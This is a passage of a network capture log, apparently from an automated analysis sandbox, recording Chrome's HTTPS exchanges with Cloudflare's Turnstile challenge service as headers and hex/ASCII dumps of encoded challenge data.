2024-12-18 13:53:54 UTC	1369	IN	Data Raw: 6f 38 72 52 74 4d 71 61 71 4c 47 58 72 71 33 66 6d 64 4c 6a 72 37 48 52 30 61 62 6e 6f 4d 50 55 71 61 62 65 34 38 33 75 76 62 7a 55 74 4b 33 42 34 2b 36 78 32 63 37 39 38 50 76 4a 30 39 4c 64 76 50 72 58 35 74 72 55 33 39 6e 75 79 4f 72 67 45 4e 33 6d 36 39 55 49 41 50 6a 6f 39 4f 38 58 37 67 72 77 48 67 44 38 47 2f 66 33 45 2b 45 46 47 4f 54 36 46 2f 7a 6e 41 51 30 44 48 52 51 55 43 6a 49 6f 45 43 63 71 42 43 6f 65 4d 68 63 67 46 2f 30 76 49 30 55 6b 4d 7a 6b 44 47 77 7a 2b 48 68 67 51 51 53 38 69 50 6b 6f 33 57 44 63 6f 4d 78 4d 35 50 44 35 61 55 44 68 50 54 43 78 53 52 6c 6f 2f 4e 32 6c 61 54 45 78 50 58 6b 4e 52 59 79 30 75 53 30 74 51 59 6d 56 46 65 44 74 36 4e 58 56 33 64 54 78 74 50 6b 52 66 66 48 43 45 69 34 75 45 53 31 78 6f 54 58 4a 77 62 45 78 Data Ascii: o8rRtMqaqLGXrq3fmdLjr7HR0abnoMPUqabe483uvbzUtK3B4+6x2c798PvJ09LdvPrX5trU39nuyOrgEN3m69UIAPjo9O8X7grwHgD8G/f3E+EFGOT6F/znAQ0DHRQUCjIoECcqBCoeMhcgF/0vI0UkMzkDGwz+HhgQQS8iPko3WDcoMxM5PD5aUDhPTCxSRlo/N2laTExPXkNRYy0uS0tQYmVFeDt6NXV3dTxtPkRffHCEi4uES1xoTXJwbEx
2024-12-18 13:53:54 UTC	1369	IN	Data Raw: 36 7a 4d 7a 39 71 59 6d 64 2f 59 73 39 6d 63 73 65 4c 63 6f 4d 53 6e 34 4b 54 4a 77 4f 53 6f 7a 4e 54 6f 72 4e 44 31 7a 63 66 52 73 2b 2f 48 79 39 33 50 32 39 45 47 30 67 63 43 36 51 6e 39 77 65 66 68 43 65 54 71 7a 50 76 6f 46 75 50 4f 2b 50 41 49 42 4f 37 6d 36 64 58 31 36 2f 30 68 38 53 55 6d 4a 4f 50 6f 36 65 51 48 48 53 6f 75 48 78 73 66 49 77 77 4d 4d 52 4d 75 4d 53 38 70 50 54 30 59 4f 79 34 59 4d 7a 56 45 48 53 45 51 2b 53 6f 56 49 6b 59 4b 53 42 77 6b 52 55 4a 54 55 45 45 51 45 46 49 52 4a 52 45 56 55 56 6f 5a 57 57 49 72 54 31 51 2b 54 7a 56 54 5a 47 74 41 48 6c 31 76 49 55 4a 6c 63 43 6c 63 61 58 55 2f 59 47 31 35 52 47 52 78 66 56 70 68 66 34 46 4e 68 58 36 48 65 56 43 42 50 46 31 4b 59 58 35 4e 6a 35 42 70 58 47 4e 48 6c 49 35 4f 57 4a 42 73 Data Ascii: 6zMz9qYmd/Ys9mcseLcoMSn4KTJwOSozNTorND1zcfRs+/Hy93P29EG0gcC6Qn9wefhCeTqzPvoFuPO+PAIBO7m6dX16/0h8SUmJOPo6eQHHSouHxsfIwwMMRMuMS8pPT0YOy4YMzVEHSEQ+SoVIkYKSBwkRUJTUEEQEFIRJREVUVoZWWIrT1Q+TzVTZGtAHl1vIUJlcClcaXU/YG15RGRxfVphf4FNhX6HeVCBPF1KYX5Nj5BpXGNHlI5OWJBs
2024-12-18 13:53:54 UTC	1369	IN	Data Raw: 79 37 31 72 32 78 78 4d 48 57 78 2b 57 39 77 39 76 73 76 38 58 6e 35 39 44 68 77 37 54 78 72 38 37 35 35 72 66 63 2f 65 76 63 32 72 76 76 32 4e 72 61 32 4e 6e 4b 43 73 6a 70 37 38 66 35 34 39 38 44 43 39 50 77 39 64 50 6a 32 4f 55 61 47 75 76 79 46 67 2f 7a 37 4f 4d 45 46 52 62 6c 36 65 6b 41 35 52 76 6f 42 52 44 75 38 53 41 65 4d 41 51 59 42 51 38 34 4b 69 34 54 4b 50 67 64 46 42 41 6a 39 68 46 41 41 42 34 70 48 41 70 47 53 67 38 4a 53 30 4e 55 44 43 78 44 55 68 55 75 4d 56 77 4f 53 55 38 76 46 7a 56 54 4e 47 4a 52 49 78 6c 6c 5a 45 46 6b 49 30 49 35 61 53 68 49 50 56 31 31 53 55 46 6d 4f 47 52 4e 4f 44 6c 55 64 31 70 39 56 6a 79 42 67 55 52 56 5a 6a 39 65 68 32 68 45 54 47 46 75 54 32 5a 78 66 6b 35 71 6c 35 43 56 68 5a 74 58 56 59 65 62 66 31 74 32 69 Data Ascii: y71r2xxMHWx+W9w9vsv8Xn59Dhw7Txr8755rfc/evc2rvv2Nra2NnKCsjp78f5498DC9Pw9dPj2OUaGuvyFg/z7OMEFRbl6ekA5RvoBRDu8SAeMAQYBQ84Ki4TKPgdFBAj9hFAAB4pHApGSg8JS0NUDCxDUhUuMVwOSU8vFzVTNGJRIxllZEFkI0I5aShIPV11SUFmOGRNODlUd1p9VjyBgURVZj9eh2hETGFuT2Zxfk5ql5CVhZtXVYebf1t2i
2024-12-18 13:53:54 UTC	1369	IN	Data Raw: 56 75 4d 4c 4e 35 62 72 50 34 65 79 37 30 63 48 53 7a 4f 72 55 73 63 50 59 37 39 62 2b 33 4c 6a 4b 79 2b 33 33 35 74 6e 69 32 66 54 5a 41 4e 77 43 37 66 33 67 33 73 51 43 79 77 4c 72 43 66 6a 6d 30 41 6a 58 43 75 76 34 32 77 4c 69 47 42 76 2b 46 2f 33 66 39 67 73 4a 43 65 6f 4d 43 77 33 2b 45 52 45 45 42 78 59 55 42 51 63 37 47 53 38 35 45 7a 50 33 4c 68 41 7a 4a 50 30 53 4e 68 6b 36 46 45 41 64 51 69 34 6e 4d 6b 6f 66 4e 45 5a 52 49 44 59 6d 4e 7a 46 50 4f 52 59 6f 50 56 51 37 59 30 45 64 4c 7a 42 53 58 45 73 2b 52 7a 35 61 4f 46 35 51 62 6c 42 6a 4c 7a 4a 43 55 54 52 59 53 47 70 4e 54 46 39 79 67 6a 74 72 63 31 4e 57 52 57 42 6d 65 57 68 6e 68 47 74 6b 61 47 35 7a 62 33 36 49 67 57 39 77 65 47 74 35 64 6c 53 65 66 6f 32 42 64 48 68 39 59 49 52 30 6c 59 Data Ascii: VuMLN5brP4ey70cHSzOrUscPY79b+3LjKy+335tni2fTZANwC7f3g3sQCywLrCfjm0AjXCuv42wLiGBv+F/3f9gsJCeoMCw3+EREEBxYUBQc7GS85EzP3LhAzJP0SNhk6FEAdQi4nMkofNEZRIDYmNzFPORYoPVQ7Y0EdLzBSXEs+Rz5aOF5QblBjLzJCUTRYSGpNTF9ygjtrc1NWRWBmeWhnhGtkaG5zb36IgW9weGt5dlSefo2BdHh9YIR0lY
2024-12-18 13:53:54 UTC	1369	IN	Data Raw: 71 37 75 38 34 38 4f 75 76 75 61 7a 78 38 50 72 7a 4d 66 5a 37 63 2b 36 30 76 44 55 7a 39 58 31 2f 63 58 41 2b 4d 6a 6a 31 67 44 67 2f 4e 49 42 38 38 37 65 42 64 49 61 34 67 37 58 36 2b 59 4e 46 74 33 59 45 67 54 65 38 42 58 33 32 77 59 61 44 43 6e 74 48 52 45 68 38 53 45 55 35 77 45 6c 4d 42 41 45 4b 54 4d 50 39 43 7a 37 4c 51 49 30 46 52 51 50 4f 67 51 59 47 6a 6f 73 41 42 6b 39 44 42 38 52 51 69 55 67 4d 6b 5a 50 4a 78 70 4d 4c 42 73 70 54 52 78 4e 47 56 45 68 50 44 46 57 58 6d 55 71 57 57 49 6d 4c 56 31 6d 4c 7a 74 6d 4d 45 63 32 5a 6b 67 79 4d 57 6c 63 66 6b 35 75 55 44 39 65 63 6e 6f 2b 50 58 56 45 57 30 70 36 62 58 6c 46 66 45 31 6e 55 59 46 51 68 56 57 46 61 46 64 6a 6a 47 78 51 62 35 4a 63 62 31 57 52 64 4b 4a 77 6c 70 39 37 61 5a 68 70 67 32 32 Data Ascii: q7u848Ouvuazx8PrzMfZ7c+60vDUz9X1/cXA+Mjj1gDg/NIB887eBdIa4g7X6+YNFt3YEgTe8BX32wYaDCntHREh8SEU5wElMBAEKTMP9Cz7LQI0FRQPOgQYGjosABk9DB8RQiUgMkZPJxpMLBspTRxNGVEhPDFWXmUqWWImLV1mLztmMEc2ZkgyMWlcfk5uUD9ecno+PXVEW0p6bXlFfE1nUYFQhVWFaFdjjGxQb5Jcb1WRdKJwlp97aZhpg22
2024-12-18 13:53:54 UTC	1369	IN	Data Raw: 2b 6a 58 7a 39 72 74 74 73 72 32 36 4e 37 62 34 76 57 39 41 66 37 77 35 75 50 71 2f 63 62 72 32 76 67 49 35 73 6f 44 34 4f 66 31 41 2f 6e 76 34 78 44 71 2b 75 67 54 32 67 44 39 45 76 54 33 42 77 6b 46 2b 77 6f 58 44 67 54 33 48 68 49 69 44 68 50 76 44 77 41 72 38 68 67 57 4b 41 33 31 4f 79 45 66 2f 68 67 76 2f 53 4d 43 4f 53 67 32 4b 7a 34 48 4c 42 73 37 49 69 63 4b 51 79 51 73 4d 6b 49 55 4d 78 68 4f 46 31 59 72 4f 45 4a 4e 48 31 59 66 54 6b 64 61 49 31 34 33 57 44 35 44 4b 6c 39 41 58 6b 35 66 4d 45 39 7a 61 6a 49 33 52 31 52 65 61 54 68 79 4f 54 52 6a 58 56 52 58 66 33 56 43 5a 46 64 6b 62 6e 6d 4c 67 6b 74 6a 69 34 46 4f 63 48 65 4b 55 32 75 54 69 6d 74 34 61 33 69 43 6a 56 32 57 58 33 65 66 6c 6e 65 45 69 35 35 6e 66 36 65 65 6a 34 78 2f 6a 4a 61 68 Data Ascii: +jXz9rttsr26N7b4vW9Af7w5uPq/cbr2vgI5soD4Of1A/nv4xDq+ugT2gD9EvT3BwkF+woXDgT3HhIiDhPvDwAr8hgWKA31OyEf/hgv/SMCOSg2Kz4HLBs7IicKQyQsMkIUMxhOF1YrOEJNH1YfTkdaI143WD5DKl9AXk5fME9zajI3R1ReaThyOTRjXVRXf3VCZFdkbnmLgktji4FOcHeKU2uTimt4a3iCjV2WX3eflneEi55nf6eej4x/jJah

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49737	104.18.95.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:55 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/319870471:1734527670:qf-7ztt3uzBMURdDvzCWITlC6yGGHlHl0FAfY7-tHMo/8f3fa3fe4ef88c24/KZ.XewS1tW7QeEDW.dGGS0KeHwzXWKsnJcse4asWCw8-1734530022-1.1.1.1-iINHRpN83DHHIRFRrmhiplHWTO3bhLhdFpuNMB2gd95qJxU16ok.JqejDA2IG9Sg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:56 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 18 Dec 2024 13:53:55 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: 4+RvzyocIOT5F3mXa8id84i1614UCoOV9ss=$ZZrDGTP38GVE30rt cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f3fa454caa1c409-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 13:53:56 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49738	104.18.94.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:54:22 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/319870471:1734527670:qf-7ztt3uzBMURdDvzCWITlC6yGGHlHl0FAfY7-tHMo/8f3fa3fe4ef88c24/KZ.XewS1tW7QeEDW.dGGS0KeHwzXWKsnJcse4asWCw8-1734530022-1.1.1.1-iINHRpN83DHHIRFRrmhiplHWTO3bhLhdFpuNMB2gd95qJxU16ok.JqejDA2IG9Sg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 33721 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: KZ.XewS1tW7QeEDW.dGGS0KeHwzXWKsnJcse4asWCw8-1734530022-1.1.1.1-iINHRpN83DHHIRFRrmhiplHWTO3bhLhdFpuNMB2gd95qJxU16ok.JqejDA2IG9Sg sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/z9snt/0x4AAAAAAA2_hQhHwsUHMEvv/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:54:22 UTC	16384	OUT	Data Raw: 76 5f 38 66 33 66 61 33 66 65 34 65 66 38 38 63 32 34 3d 57 50 77 46 53 72 6f 7a 4f 4d 50 6f 4f 43 7a 6f 32 78 69 78 76 43 6c 6f 41 78 51 46 68 4b 31 6b 6f 33 78 43 46 6f 55 6f 4e 78 6f 59 43 51 78 56 78 55 4b 35 55 6f 65 78 46 6a 5a 78 6f 4f 4b 78 74 78 77 70 59 77 77 6b 6c 78 6c 64 78 56 44 37 50 46 78 54 46 6f 71 70 78 4b 24 4f 6f 37 4a 35 36 46 78 61 78 43 4f 50 78 4a 43 78 35 71 78 6f 4e 71 64 51 43 78 78 56 44 78 69 71 61 39 70 34 6f 52 41 4b 24 4b 4b 36 58 78 4d 62 4b 52 72 4b 6f 37 78 67 54 78 79 46 78 32 71 46 72 32 78 4b 6c 48 78 6c 50 78 63 56 31 70 50 6a 6c 41 64 4b 78 48 6c 56 43 6f 54 48 6c 70 79 78 35 4d 7a 4b 35 37 52 72 4e 59 71 30 5a 52 4b 5a 36 59 6f 78 6f 73 35 48 59 48 38 4a 41 43 56 6e 55 78 73 30 55 47 6c 30 37 57 24 68 62 43 41 5a Data Ascii: v_8f3fa3fe4ef88c24=WPwFSrozOMPoOCzo2xixvCloAxQFhK1ko3xCFoUoNxoYCQxVxUK5UoexFjZxoOKxtxwpYwwklxldxVD7PFxTFoqpxK$Oo7J56FxaxCOPxJCx5qxoNqdQCxxVDxiqa9p4oRAK$KK6XxMbKRrKo7xgTxyFx2qFr2xKlHxlPxcV1pPjlAdKxHlVCoTHlpyx5MzK57RrNYq0ZRKZ6Yoxos5HYH8JACVnUxs0UGl07W$hbCAZ
2024-12-18 13:54:22 UTC	16384	OUT	Data Raw: 72 4a 78 6e 6f 61 78 39 78 36 46 6f 6b 6f 33 72 4c 77 43 6c 6c 46 6e 66 50 66 39 49 78 4f 78 32 78 6c 4b 6f 55 78 34 59 35 31 56 33 59 42 78 6f 59 6f 63 54 35 77 78 5a 78 32 78 54 33 47 33 71 7a 78 35 46 6c 65 43 6f 78 54 4b 6c 59 6f 36 78 79 68 78 55 6f 30 78 57 4b 78 62 78 6e 78 69 4b 35 62 6f 39 4b 71 78 35 4b 46 48 78 72 59 4d 51 78 39 78 6f 59 6f 78 78 56 78 78 50 31 50 78 73 78 6a 66 37 4f 6b 59 46 71 78 6f 2b 78 6c 4b 71 77 72 52 78 63 78 55 5a 72 4f 78 2b 46 36 46 6f 71 6f 69 78 78 50 31 34 6f 6d 54 57 78 35 4f 78 78 46 57 78 35 5a 46 73 78 5a 46 36 62 78 53 46 31 78 78 70 78 4d 46 77 46 72 77 6f 68 4b 79 78 6c 6e 57 33 4b 69 6b 31 56 6f 48 51 35 77 6f 4f 78 4b 46 67 46 35 77 6f 43 74 32 4b 43 52 41 57 2d 36 78 78 72 74 61 2d 6c 46 6c 68 78 41 78 Data Ascii: rJxnoax9x6Foko3rLwCllFnfPf9IxOx2xlKoUx4Y51V3YBxoYocT5wxZx2xT3G3qzx5FleCoxTKlYo6xyhxUo0xWKxbxnxiK5bo9Kqx5KFHxrYMQx9xoYoxxVxxP1Pxsxjf7OkYFqxo+xlKqwrRxcxUZrOx+F6FoqoixxP14omTWx5OxxFWx5ZFsxZF6bxSF1xxpxMFwFrwohKyxlnW3Kik1VoHQ5woOxKFgF5woCt2KCRAW-6xxrta-lFlhxAx
2024-12-18 13:54:22 UTC	953	OUT	Data Raw: 78 46 77 41 53 4a 4b 32 77 31 56 6f 4d 2d 4c 6a 73 32 69 6a 6b 47 66 41 64 44 69 67 4c 52 36 63 76 4d 34 47 4b 78 78 72 70 62 67 7a 61 24 44 72 37 61 50 54 48 78 59 78 76 59 6c 44 30 71 2b 58 59 31 65 33 79 6d 4d 33 41 35 2b 39 6d 6f 33 70 34 64 45 6d 57 33 59 67 4f 57 50 65 46 78 68 78 76 78 45 46 6f 62 78 44 71 47 32 50 48 6f 56 4d 70 59 43 57 35 4f 51 66 46 78 37 24 6d 46 44 4b 6f 5a 4a 5a 4f 42 6a 46 65 68 68 78 4a 4f 71 49 4a 4d 6c 4c 4e 67 66 44 37 6c 38 47 71 43 2d 66 50 30 45 37 67 57 66 78 6a 72 4e 46 78 2d 6d 68 5a 77 2b 78 78 57 2b 5a 77 62 59 53 71 32 55 57 69 2b 49 6b 78 45 73 36 46 68 39 6b 52 6b 38 56 73 36 6c 4d 72 32 56 49 5a 51 78 77 54 48 38 54 46 32 42 47 42 2b 79 24 50 35 43 44 66 51 72 32 71 44 78 56 54 73 32 36 6b 78 30 58 7a 31 43 Data Ascii: xFwASJK2w1VoM-Ljs2ijkGfAdDigLR6cvM4GKxxrpbgza$Dr7aPTHxYxvYlD0q+XY1e3ymM3A5+9mo3p4dEmW3YgOWPeFxhxvxEFobxDqG2PHoVMpYCW5OQfFx7$mFDKoZJZOBjFehhxJOqIJMlLNgfD7l8GqC-fP0E7gWfxjrNFx-mhZw+xxW+ZwbYSq2UWi+IkxEs6Fh9kRk8Vs6lMr2VIZQxwTH8TF2BGB+y$P5CDfQr2qDxVTs26kx0Xz1C
2024-12-18 13:54:22 UTC	286	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:54:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4544 Connection: close cf-chl-out: Rq7sFIljr6fi45x8sXvHiZQMtwLb3XHQmBNqEQpBbSH0mA7a8DJL5QKskMVo3syLi3TOIc3b6CHLknJxHDZZLBs0AVgs+nQrv9/Frjz3453D97keMA+hbNU=$uLeHOp/sH3YiTVqm
2024-12-18 13:54:22 UTC	1187	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 36 77 4b 53 5a 6b 6c 2b 6d 32 36 34 39 53 51 64 4d 74 6c 6b 6f 2b 35 30 75 37 75 4c 59 41 4a 53 57 37 7a 78 64 39 4e 35 52 58 32 67 2b 32 5a 6c 44 51 4a 56 4e 51 38 55 76 55 67 72 72 6c 39 73 36 49 78 5a 7a 72 7a 2b 70 32 68 2b 48 68 79 54 61 4c 36 78 71 30 49 37 50 7a 4e 63 52 48 37 6d 54 36 6a 34 55 72 70 77 67 47 46 72 43 57 46 61 31 45 62 6d 34 61 77 73 70 72 61 74 73 50 45 74 6d 6f 34 6a 35 48 49 61 37 43 5a 69 47 46 58 6c 53 73 67 76 35 46 55 72 62 4d 4e 46 34 62 4a 34 73 72 42 73 65 2b 32 51 4b 74 6e 4b 5a 78 2b 4a 58 6c 36 6f 6f 39 73 62 4d 4d 65 51 33 55 77 34 6f 2f 68 68 4f 50 71 70 35 43 6f 39 4e 65 34 4a 6b 4f 4e 46 2f 75 2b 39 75 50 71 61 49 75 7a 52 2b 54 32 6e 45 77 4f 50 33 44 41 4c 36 74 6e 64 73 Data Ascii: cf-chl-out-s: 6wKSZkl+m2649SQdMtlko+50u7uLYAJSW7zxd9N5RX2g+2ZlDQJVNQ8UvUgrrl9s6IxZzrz+p2h+HhyTaL6xq0I7PzNcRH7mT6j4UrpwgGFrCWFa1Ebm4awspratsPEtmo4j5HIa7CZiGFXlSsgv5FUrbMNF4bJ4srBse+2QKtnKZx+JXl6oo9sbMMeQ3Uw4o/hhOPqp5Co9Ne4JkONF/u+9uPqaIuzR+T2nEwOP3DAL6tnds
2024-12-18 13:54:22 UTC	1265	IN	Data Raw: 69 49 36 63 6a 49 47 76 76 35 74 2f 74 4c 65 6c 7a 4d 69 74 68 59 69 35 69 36 72 43 70 71 4f 57 78 37 6e 57 70 4a 76 4e 75 70 37 4b 76 73 4b 6a 76 39 7a 68 35 75 43 69 78 72 32 31 33 72 37 71 75 65 4c 43 72 63 6a 7a 31 72 44 48 2b 50 54 36 39 66 48 61 7a 73 2f 79 38 50 7a 58 39 51 58 77 31 74 4d 46 43 77 6e 62 37 63 37 65 45 2f 4c 51 35 2b 44 79 46 78 55 4f 2b 64 76 73 44 2f 34 4b 38 50 7a 79 48 76 67 50 47 68 76 79 42 50 6f 6d 2b 75 4d 70 36 67 62 37 4d 65 77 45 2f 6a 45 33 4e 41 67 58 44 67 77 2f 48 7a 41 50 51 52 73 2b 46 54 59 58 52 68 77 36 53 55 74 48 42 79 34 50 4a 42 73 4b 54 69 6f 76 56 43 77 68 55 78 4d 77 4b 6a 59 2b 50 56 70 4b 46 54 42 55 4a 44 55 36 52 47 52 43 49 6d 67 73 53 54 67 77 5a 58 42 6d 64 48 4a 57 62 57 31 4a 4d 7a 74 37 65 7a 68 Data Ascii: iI6cjIGvv5t/tLelzMithYi5i6rCpqOWx7nWpJvNup7KvsKjv9zh5uCixr213r7queLCrcjz1rDH+PT69fHazs/y8PzX9QXw1tMFCwnb7c7eE/LQ5+DyFxUO+dvsD/4K8PzyHvgPGhvyBPom+uMp6gb7MewE/jE3NAgXDgw/HzAPQRs+FTYXRhw6SUtHBy4PJBsKTiovVCwhUxMwKjY+PVpKFTBUJDU6RGRCImgsSTgwZXBmdHJWbW1JMzt7ezh
2024-12-18 13:54:22 UTC	1369	IN	Data Raw: 6d 31 70 4e 31 52 5a 61 6e 56 64 55 47 4e 2f 65 58 64 79 63 32 65 42 64 59 56 72 52 6b 70 6f 65 6d 36 42 62 47 35 79 54 6f 4b 51 5a 34 68 52 64 35 56 77 6a 6e 64 2f 62 36 47 44 64 71 56 39 67 35 32 56 59 34 4e 36 65 35 71 63 70 4b 61 66 6e 70 53 44 72 61 4f 61 74 71 69 57 69 4c 78 31 71 36 4c 42 6f 5a 79 54 78 62 32 6c 67 35 75 6e 74 73 57 67 76 71 61 4c 6f 34 71 78 70 6f 37 4d 30 36 53 57 31 4c 75 38 79 63 44 41 72 64 48 5a 7a 70 7a 52 72 39 4b 67 36 63 48 58 70 38 66 4b 7a 2b 61 37 38 63 7a 47 74 75 62 74 37 65 32 33 35 73 72 55 37 39 6a 7a 2f 66 50 67 34 74 76 6f 38 4e 55 47 30 2f 6a 31 31 38 7a 71 33 4d 51 42 38 41 72 6e 36 76 66 56 46 68 58 7a 31 42 49 67 43 75 38 52 34 51 48 64 45 78 59 52 42 69 63 5a 43 66 6f 49 47 41 34 6d 36 6a 55 74 42 50 49 76 Data Ascii: m1pN1RZanVdUGN/eXdyc2eBdYVrRkpoem6BbG5yToKQZ4hRd5Vwjnd/b6GDdqV9g52VY4N6e5qcpKafnpSDraOatqiWiLx1q6LBoZyTxb2lg5untsWgvqaLo4qxpo7M06SW1Lu8ycDArdHZzpzRr9Kg6cHXp8fKz+a78czGtubt7e235srU79jz/fPg4tvo8NUG0/j118zq3MQB8Arn6vfVFhXz1BIgCu8R4QHdExYRBicZCfoIGA4m6jUtBPIv
2024-12-18 13:54:22 UTC	1369	IN	Data Raw: 6c 30 50 54 74 30 65 6c 68 55 63 57 6c 62 58 49 43 43 58 32 53 41 68 57 4e 77 66 34 6c 71 54 6d 64 73 6d 6f 69 46 64 4a 4a 56 63 35 78 33 69 34 36 5a 56 34 4f 41 6d 35 61 4a 64 61 74 73 68 5a 32 78 63 4b 4f 76 74 49 69 79 61 62 57 4e 74 37 47 34 76 4c 32 4a 6d 71 35 35 70 4b 4b 4f 68 62 31 2f 70 4c 4f 2b 75 34 75 67 69 4d 75 69 68 4e 54 4e 70 74 4c 52 6c 72 6e 4c 6d 49 36 6c 72 5a 69 78 75 74 53 6a 32 61 50 45 31 73 66 65 75 2b 4c 45 79 64 6d 73 35 65 50 68 36 4e 43 79 34 64 2f 51 31 76 58 4b 38 73 76 35 33 2b 69 35 2f 62 37 73 34 75 44 33 2f 64 66 57 77 51 58 63 41 67 44 6d 79 50 50 50 38 50 62 53 42 68 48 6d 44 76 48 7a 31 42 48 52 39 78 62 7a 45 77 4d 59 4a 76 59 56 39 76 63 72 42 77 77 65 48 53 58 74 4c 67 6b 54 41 6a 49 74 47 41 73 36 4a 52 7a 31 2b Data Ascii: l0PTt0elhUcWlbXICCX2SAhWNwf4lqTmdsmoiFdJJVc5x3i46ZV4OAm5aJdatshZ2xcKOvtIiyabWNt7G4vL2Jmq55pKKOhb1/pLO+u4ugiMuihNTNptLRlrnLmI6lrZixutSj2aPE1sfeu+LEydms5ePh6NCy4d/Q1vXK8sv53+i5/b7s4uD3/dfWwQXcAgDmyPPP8PbSBhHmDvHz1BHR9xbzEwMYJvYV9vcrBwweHSXtLgkTAjItGAs6JRz1+
2024-12-18 13:54:22 UTC	541	IN	Data Raw: 6a 56 32 68 38 66 59 70 30 64 56 39 64 61 34 56 39 67 6e 39 67 6b 58 43 41 5a 32 74 78 65 32 75 53 6a 33 35 2f 6c 5a 6d 5a 65 48 2b 6d 6b 59 70 69 70 59 79 67 71 59 6d 4b 61 58 2b 42 72 34 4f 44 63 4a 64 32 67 36 69 58 6e 4c 61 76 6d 35 36 43 76 71 36 74 6d 48 36 6a 76 70 76 4b 71 34 75 6e 30 4d 61 77 77 4a 48 50 6f 74 48 4f 7a 5a 4f 6a 74 62 57 56 76 37 75 38 72 72 75 30 77 74 71 33 74 63 6d 67 70 36 50 57 34 4d 66 77 79 74 4c 74 36 73 75 74 72 74 6a 53 31 65 33 4d 38 64 6d 33 36 4f 75 35 33 2b 44 77 34 74 66 38 35 77 50 6e 42 76 58 65 43 77 41 4a 34 4e 38 55 2f 67 37 6b 41 67 38 43 43 77 6f 53 37 2f 41 4f 43 2f 4d 50 47 52 73 48 32 42 30 66 49 76 67 68 49 76 7a 37 4c 69 6b 45 2f 43 51 66 46 7a 4d 69 4c 7a 48 7a 4c 44 49 7a 43 53 77 71 45 30 4d 35 4c 51 Data Ascii: jV2h8fYp0dV9da4V9gn9gkXCAZ2txe2uSj35/lZmZeH+mkYpipYygqYmKaX+Br4ODcJd2g6iXnLavm56Cvq6tmH6jvpvKq4un0MawwJHPotHOzZOjtbWVv7u8rru0wtq3tcmgp6PW4MfwytLt6sutrtjS1e3M8dm36Ou53+Dw4tf85wPnBvXeCwAJ4N8U/g7kAg8CCwoS7/AOC/MPGRsH2B0fIvghIvz7LikE/CQfFzMiLzHzLDIzCSwqE0M5LQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49739	104.18.95.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:54:24 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/319870471:1734527670:qf-7ztt3uzBMURdDvzCWITlC6yGGHlHl0FAfY7-tHMo/8f3fa3fe4ef88c24/KZ.XewS1tW7QeEDW.dGGS0KeHwzXWKsnJcse4asWCw8-1734530022-1.1.1.1-iINHRpN83DHHIRFRrmhiplHWTO3bhLhdFpuNMB2gd95qJxU16ok.JqejDA2IG9Sg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:54:24 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 18 Dec 2024 13:54:24 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: +RD9S3ANcDX/rY4QOmcCYv6oVpWCSQ/8kB4=$e4zURsCoMNmxk2KH Server: cloudflare CF-RAY: 8f3fa5068b320f9d-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 13:54:24 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49742	104.21.32.225	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
